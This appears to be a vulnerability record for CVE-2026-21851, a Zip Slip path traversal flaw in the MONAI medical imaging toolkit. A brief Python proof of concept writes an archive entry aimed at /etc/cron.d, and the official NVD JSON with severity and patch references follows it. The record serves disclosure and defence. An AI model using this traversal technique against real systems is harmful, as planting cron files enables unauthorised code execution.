CVE-2026-21851

import zipfile import os # 创建恶意ZIP文件 malicious_path = "../../../../../../../etc/cron.d/malicious" with zipfile.ZipFile('poc.zip', 'w') as zf: zf.writestr(malicious_path, 'malicious content') # 利用漏洞提取文件 with zipfile.ZipFile('poc.zip', 'r') as zf: zf.extractall('/tmp')

{"cve": {"id": "CVE-2026-21851", "sourceIdentifier": "[email protected]", "published": "2026-01-07T23:15:50.677", "lastModified": "2026-02-02T15:13:47.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue."}, {"lang": "es", "value": "MONAI (Medical Open Network for AI) es un kit de herramientas de IA para imágenes médicas. En versiones hasta la 1.5.1 inclusive, una vulnerabilidad de Salto de Ruta (Zip Slip) existe en la función _download_from_ngc_private() de MONAI. La función utiliza zipfile.ZipFile.extractall() sin validación de ruta, mientras que otras funciones de descarga similares en la misma base de código utilizan correctamente la función safe_extract_member() existente. El commit 4014c8475626f20f158921ae0cf98ed259ae4d59 corrige este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:project-monai:monai:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.5.1", "matchCriteriaId": "A887CB32-431C-4AFD-8C59-B2262427288D"}]}]}], "references": [{"url": "https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}